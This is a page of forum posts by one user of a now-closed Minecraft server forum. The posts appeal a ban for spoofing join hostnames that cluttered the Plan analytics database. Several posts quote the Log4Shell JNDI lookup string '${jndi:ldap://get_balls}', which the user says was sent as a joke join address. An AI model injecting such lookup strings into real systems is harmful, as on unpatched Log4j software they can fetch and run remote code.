Posts by eva

Please Note: The TotalFreedom Forum has now been put into a read-only mode. Total Freedom has now closed down and will not be returning in any way, shape or form. It has been a pleasure to lead this community and I wish you all the best for your futures.

  • __veast - Indefinite Ban Appeal

    Quote from wild1145
    Quote from eva

    So we did not use an exploit in the sense of a software having a vulnerability but in the context of abusing said software to create fake host names resulting in bans issued because of the inconvenience to clear said host names from the database?

    You (and others) went out your way to create fake and in a lot of cases offensive hostnames that were in no way shape or for real or possible to be real. It creates false information and is abusing the way in which the system works to create a non-intended result (Hence an exploit). Bans were issued because they were often offensive and because you were doing something that was not the intended function of the system.

    Yes I'll admit to the fake host names but I was banned for extra months for attempting a non-functional whatsoever CVE that was patched months prior, by the time all of this happened in April there should have been no parts of the network to be vulnerable to such attacks and also the lookup is really strict, I provided "get_balls" however it will not attempt to resolve anything other than that, which means it does not append .com, .net etc. There's also no components of any server using Log4J to log host-names so if the server was vulnerable to such string at that time nothing would've happened and if something were to do it there would simply be a resource resolution error, Video referenced all this and provided stack traces in his latest reply on my other thread showing that if the server was in a scenario to be vulnerable to this that it would have simply just not have done anything except create a stack trace. I'd like this to be looked into since I don't think I'm in the wrong for this as I am completely aware about the workings of this and have watched this CVE closely, I wouldn't be so naive regarding this considering I have experience with Java and it is one of my top used daily on the go programming languages.

  • __veast - Indefinite Ban Appeal

    Quote from wild1145
    Quote from test

    Except it's not an exploit.

    The reason it's been classed as one is because these weren't legitimate hostnames, they weren't cases of people buying a domain and pointing it to TF, those individuals were un-banned and apologies issued. In these cases individuals went out of their way to spoof hostnames locally and pass false information to the server, which is why it's been classed as an exploit, and quite clearly is not the behaviour we intend. Due to the amount of time it then took to remove these (In some cases quite offensive) hostnames, bans were issued accordingly.

    So we did not use an exploit in the sense of a software having a vulnerability but in the context of abusing said software to create fake host names resulting in bans issued because of the inconvenience to clear said host names from the database?

  • __veast - Indefinite Ban Appeal

    Quote from Alco_Rs11

    You still abused an exploit which is still bannable. The exploit in question abused a vulnerability in Plan which clogged it up with bogus data, making legitimate data harder to access, so yes, it did have 'harmful' effects on the server.


    You would have been spared from being banned if you reported the vulnerability in Plan but you didn't which is a violation of both the old and new conduct policies so a ban was rightfully issued.

    Sorry to break it to you but there is NO vulnerability/exploits or anything similar in Plan, the server's software (Scissors/Paper) or Minecraft's Java protocol.

    Host names that you saw in Plan is all information that Plan grabs from the Bukkit/Spigot API including but not limited to hostnames or join addresses,

    A quick run down of how this works,

    So you connect with an IP and a Port, when you are using a domain whatever is inputted into Minecraft's server address field in the Multiplayer menu is passed when the client and the server do a handshake, on the serverbound side minecraft sends the follwing information:

    Protocol Version (The client's Protocol Version)

    Server Address (Inputted in the server address bar)

    Server Port (defaults to 25565 unless a port is specified)

    Next State (Status or Login)

    "Hostname or IP, e.g. localhost or 127.0.0.1, that was used to connect. The Notchian server does not use this information. Note that SRV records are a simple redirect, e.g. if _minecraft._tcp.example.com points to mc.example.org, users connecting to example.com will provide example.org as server address in addition to connecting to it. " - http://wiki.vg/Protocol. You may view the packet and data it is sending to the server here. (Serverbound side)

    So theoretically if you make a host name of your choosing and redirect it over to the IP address of TotalFreedom and that host name was inputted in the Minecraft server address bar it is sent by the client to the server in the handshake packets. In this case what is happening is the Bukkit/Spigot API is storing this inside the player's data.

    After this data is sent it is stored in the player's data by the Bukkit/Spigot API, which every Bukkit/Spigot/Paper plugin uses including but not limited to the Plan plugin. Essentially Plan is grabbing this stored data value and saving it to the 'Join Addresses' database, thus it is not an issue or vulnerability with Plan or anything else, simply it is the way it was designed and it is working as it was intended to by the developers, Minecraft does not check the legitimacy of a domain and hence the host name in question can be anything you want it to, doing so would be very impractical and in most cases with games imposing a similar multiplayer structure do the same if they have a reason to send the join address.

    In addition there is no proper way to fix this without some consequences, if you are going to check every domain or limit them to TotalFreedom domains it will require some extra things like pinging the host name to see if it resolves which could create problems and delay connection times and custom legitimate domains hosted by people that do lead to the TotalFreedom server will not work anymore, there are also some more issues stated in a few replies above this one and the only way to resolve this problem is you either hide the 'Join Addresses' analytics or remove the Plan plugin which either of won't happen.

    So calling this a vulnerability in Plan is a bit of a misconception as there is no vulnerability to begin with, it's simply how the Minecraft protocol works and that is the hard truth, the only people you can really blame are Mojang/Microsoft but this is not an issue with other servers out there, either way this itself is a dilemma.

    Mojang/Microsoft won't fix this, there is nothing to fix to begin with as it is working as it was designed to unless you try and push them to change which requires a lot of community attention seeking. Most of the Minecraft community will see this as not a huge problem and nothing will be changed, sorry to say but I didn't write the protocol so I can't be put to blame for this data being sent by the client in the first place.

    Fixing this on the server-side may create complications with connections but I'm not saying it will, if you do decide to ping addresses what if the address is legitimate but the packet is dropped? In return the connection request instigated by the player would be dropped which would be problematic. Simply put every Plugin is using the information provided by the Bukkit/Spigot API in which said information about the player used by the Bukkit/Spigot API is provided by the Minecraft protocol itself in the handshake and other packets.

    The following ban reasoning "Abuse of an exploit in Plan to create fake host names." does not make a whole pile of sense when you are provided with all of this context, I'd personally paraphrase this to "Manipulation of analytics displayed by Plan to display non-legitimate host names."

    At the end of the day there is no exploit we abused. Not a vulnerability in a plugin or anything else, everything is simply working as intended by the developers of the protocol (Mojang/Microsoft), there is no other way for plugins or the server to grab host names other than the one that the Minecraft client provides to the server in the handshake packet, what you are persecuting us for is partial damage to a database in which said method used can not be resolved. Unless you want to compromise the functionality of connecting to the server or not allow people to make custom FQDNs which are legitimate that do route to TotalFreedom there is no way this can be solved.

    I know what I am talking about, I've been working with the Minecraft protocol for a long time, I know the ins and outs of it and additionally I also have great experience in programming software using Java and I know what is going on in Plan's source code when it is getting the host names to store them. I've coded a handful of Minecraft plugins myself and I have projects that I still maintain to this day that are using the Minecraft protocol, I also even made mods that are utilizing the Minecraft protocol.

  • evax64 (eva67x) - Indefinite Ban Release/Appeal

    1. Minecraft name:

    evax64 (formerly eva67x)

    2. Discord username and discriminator (username#discriminator) (if any):

    eva#0365


    3. Approximate date of indefinite ban:

    9th of October 2022

    4. Reason for an indefinite ban. Please do not lie and try to be sincere and apologize as applicable:

    Creating fake host names that were displayed on the Plan page, (apparently also banned for extra time for "attempting to exploit with Log4Shell" but I don't know at this point as I've clearly stated it was a joke address with the rest of them and recently publicly dismissed that it caused or could have caused any harm to the server),

    I'd like to also apologize for any inconveniences caused with clearing the malformed data from the databases mentioned (Plan) and I would like to seek an un-ban as I think my actions have not made an overly negative impact on the server other than showing fake join addresses on Plan. I would also like to state this was a one-off thing and I had no further intentions after the 12th of April or current intentions to do such actions like this again.

    5. Do you agree to follow our community guidelines (https://forum.totalfreedom.me/d/2961) and all the conditions stated above?

    I agree to the community guidelines.

  • Invalidating the Log4Shell allegations on my ban.

    I'm just trying to clear out this stuff (4 (additional) months for "Log4Shell") off my ban as it had no reason to begin with to be handed out on the ban, now that I've provided join dates there should be no more issues in validating that this was done in a time when everything regarding the Log4Shell CVE was completely patched. Eitherway it would've not affected anything and I did not know about this whole join address stuff until April 12th this year despite having prior knowledge that Minecraft just passes the address in the server address box as I am familiar with the Java protocol, after I've conducted a scrub through the entirety of Plan in areas regarding and including Join Addresses my findings show that nothing is passed of such to any logger using Log4J or any other type of logger at all as there is. This should now prove that there is no further reasoning that me joining with such an address even if it was joined with in the Log4Shell CVE's most destructive and active period would have done anything to the server since Join Addresses do not get logged, it's simple. The address used in the string "${jndi:ldap://get_balls}" is clearly labelled "get_balls" with no domain extension, thus it has no reason to resolve anywhere, IF the server was vulnerable there would simply have been an error thrown in the logs and the operation of software using Log4J would've continued as normal with no repercussions following after. This concludes what I have to say about this whole Log4Shell stuff, I've already provided enough evidence leading to the string not being harmful in any way to software using patched or vulnerable builds of the Log4J library.

  • Invalidating the Log4Shell allegations on my ban.

    Hey guys,

    So if you haven't heard about a month ago I was banned from the network for "Abuse of an **exploit** in Plan to create fake hostnames.", while this is partly true some hostnames I joined with were legitimate and probably expired when they were checked (looking at "tf.nocom.pro" specifically) but that is not what I'm coming to talk about but it's rather something different. So basically I only got banned 2 months for doing this fake hostname stuff but my ban is 6 months in duration, the reason for this is that 4 months were added on for attempting for trying to "exploit the server using Log4Shell" which is simply not true with evidence to support from my side that the server would have not been vulnerable at the time. I connected with the log4j string (the string in question is "${jndi:ldap://get_balls}") on the 12th of April (2022), this was at the same time I connected with the other addresses leading to the 2 months but theres a few issues:

    1. Log4Shell (CVE-2021-44228) was discovered on the 21st of November (2021) and received patches to the affected libraries in the 6th of December (2021), now following from a security standpoint many libraries that use Log4J would have been updated instantly on this date or shortly after this date, there is NO reason to have this unpatched 4 months LATER on any part of a system using Log4J, all people who play minecraft would have received an updated version too which patches this on the client-side.

    2. Now I don't think Plan is logging anything with Log4J to the logs, so there should be no issue right? If that is the case Plan would have not responded to such addresses (if I logged in during the vulnerable period which is unlikely since I didn't want to touch Minecraft while such an exploit was roaming around freely) and there should be no reason to respond to this, now it may have affected clientside stuff but it should not have done anything since why would you want to log join addresses in the first place to a log?

    3. The following target "get_balls" is un-resolvable and does not exist and is a clearly implied joke as the words suggest, unless it has been routed internally to lead to somewhere it would not have and if somehow parts of the server were still vulnerable from this 4 months later (this would have been extremely unlikely for reasons I will cover in the next point) it would have simply just thrown a harmless error in console and server operation would have continued as normal with no effects, why this was considered to be able to exploit the server in the first place. I dont know.

    4. From places in the TF Discord (developer discussion channel and announcements) server messages imply that the issue was made aware of and measures were taken on the TF Network at the time to mitigate such attacks like this, you can find this in the announcements channel on the discord server. I am assuming that TF would have taken action on mitigating Log4Shell and updating to safer versions of Paper so there is no real reason to say that it would have caused issues when I logged in with it on the 12th of April which relative to this date was 4 months later after all this stuff has occurred.

    5. TotalFreedom would have updated stuff using Log4J such as plugins and server software (Paper/Scissors and all that) which include patched versions not affected by Log4Shell, so I am assuming Plan would have also updated but there is no reason to believe that issues would have been thrown by Plan since it should have no reason to be using the Log4J library when someone is connecting with a join address.

    This is all the points I'd like to mention and now I have an image to prove that I joined with those addresses on that date from my active minecraft instance I have been using since October of 2021, you can view it at the bottom of this thread.

    I used the "zgrep" command in linux which if you are not familiar is able to look through compressed archives (Minecraft stores logs in .log.gz files) and thus I was able to make it scrub through all of the log entries from ALL of my MultiMC instances to search for the ldap string, according to results shown by zgrep it appears there is three results from a log on the 12th of April in 2022 in the instance I stated I was using from October of 2021 above, I only used it three times and stopped using it after that as I had no more reasons to be joining with fake addresses. In the image I also open up the properties of the three compressed log archives which show the date the logs were last modified, but Minecraft logs show down to the second when something is happening and it is extremely unlikely I made this up as there is no way that you can remember events down to the second, especially something not important like this, you can also see the discovery date and patched date from a google tab in Firefox which shows the information about the CVE/exploit to accompany my points of the log4shell discovery date and patched date above. When this exploit was active I was watching it closely as I had some projects running on Java but were not using log4j but just in case I needed to update some dependencies. To also prove my point if you were to check the server logs at this date which would have been the hub server as there is no way to route to the freedom server directly you can see that I had logged in at these exact times shown in the Minecraft logs.

    I'd also like to state that I clearly had no ill intentions of doing anything that would harm the server as that is not my thing, I respect the rules of online communities and in my case no such rules were broken but I may be mistaken, you would clearly know it was a joke and that no such address or thing exists with "get_balls".

    I'd like if this was looked into a bit more but I'm trying to say that the server would have not been vulnerable from this.

    I also apologize if this is in the wrong topic to publish this under as I don't really write forum posts often, this thread is replacing my "An issue regarding my ban" thread (which I haven't received much clarity on) with a more detailed one proving that I am not guilty of exploiting the server with this string.

    Anyway this is all I've got to say and I'll see you soon,

    Eva.

    You may find the image I was talking about above below:

    image.png

  • An issue regarding my ban

    Hey guys, I'm making this forum post to address an issue with my ban. On the 9th of October 2022 I was banned from the network for joining with made-up login addresses back in April of this year, roughly a week later I found out that I was banned with a duration of 6 months and was told that there was 4 months for "attempting a log4j exploit" and 2 months for the made-up domains.

    What was the attempted log4j "exploit" in question you may ask? Simple, when I was joining with made-up login addresses I joined with an address to reference and joke about log4shell, I used the following address "${jndi:ldap://get_balls}" (screenshot of the address before I connected https://cdn.discordapp.com/attachments/96…412/unknown.png) for the joke, now this is where the issue comes in with this part of my ban. I connected with this address on the 12/13th of April 2022 (Same dates I was joining with made-up addresses) and the log4shell CVE was discovered and reported to Apache on the 24th of November 2021 and patched on the 9th of December 2021 (5 months before I connected with made-up addresses) which means that by this date it was patched and is no longer a CVE or exploit, eitherway it would've caused no harm or disruption to the server as this had been patched well before and I'd also like to mention the "get_balls" section in this address which is in the place of an IP address which was the most common method used to link classes in the period this CVE was active for, I'm a Java programmer and I am well aware and familiar with how Log4J works and this would've caused no issues eitherway as it is not even leading to a valid location to a class that includes malicious code, not even a class which would have not done anything or any sort of stuff that would cause the server harm, this CVE was patched 5 months prior to me joining with this address and it was also very likely that the server updated to the patched versions of the libraries and running up-to-date Java versions which fix issues like these for security concerns, At the end of the day this was all meant to be an innocent joke but I think it has been interpreted wrong as me trying to cause harm or ill intent to the server rather than a silly joke address, I had no intentions or never will have intentions of trying to cause disruptions to the operation of the server and I probably should have notified staff about this and shouldn't have been joining with fake addresses anyway.

    Anyways with all that being said i'd like for this issue to be looked into and hopefully to get the additional 4 month duration removed from the 6 months. I'm still willing to still serve the initial two months for connecting with the made-up login addresses when I shouldn't have and I have no issues with that other than the 4 additional months which the reasoning for doesn't satisfy me to be worthy of having such duration added on.

    Anyways this is all I have to say and I will see you guys later,

    Eva

  • Make indefinite ban requests public again.

    Quote from Rex3rdaccount

    Object, I have always been against IPs being public. While a lot of people don't care about thir IPs being pubicly shown, other big servers don't go off showing their player's IPs, If they did they would lose all their players which this policy in the past probably has cost the server some players,

    Even though this is still an issue I don't think we should be using IPs as an excuse to why they can't be publicized again, the community should be able to see IBRs again since we can't really trust them being private anymore and it's doing more destruction rather than good.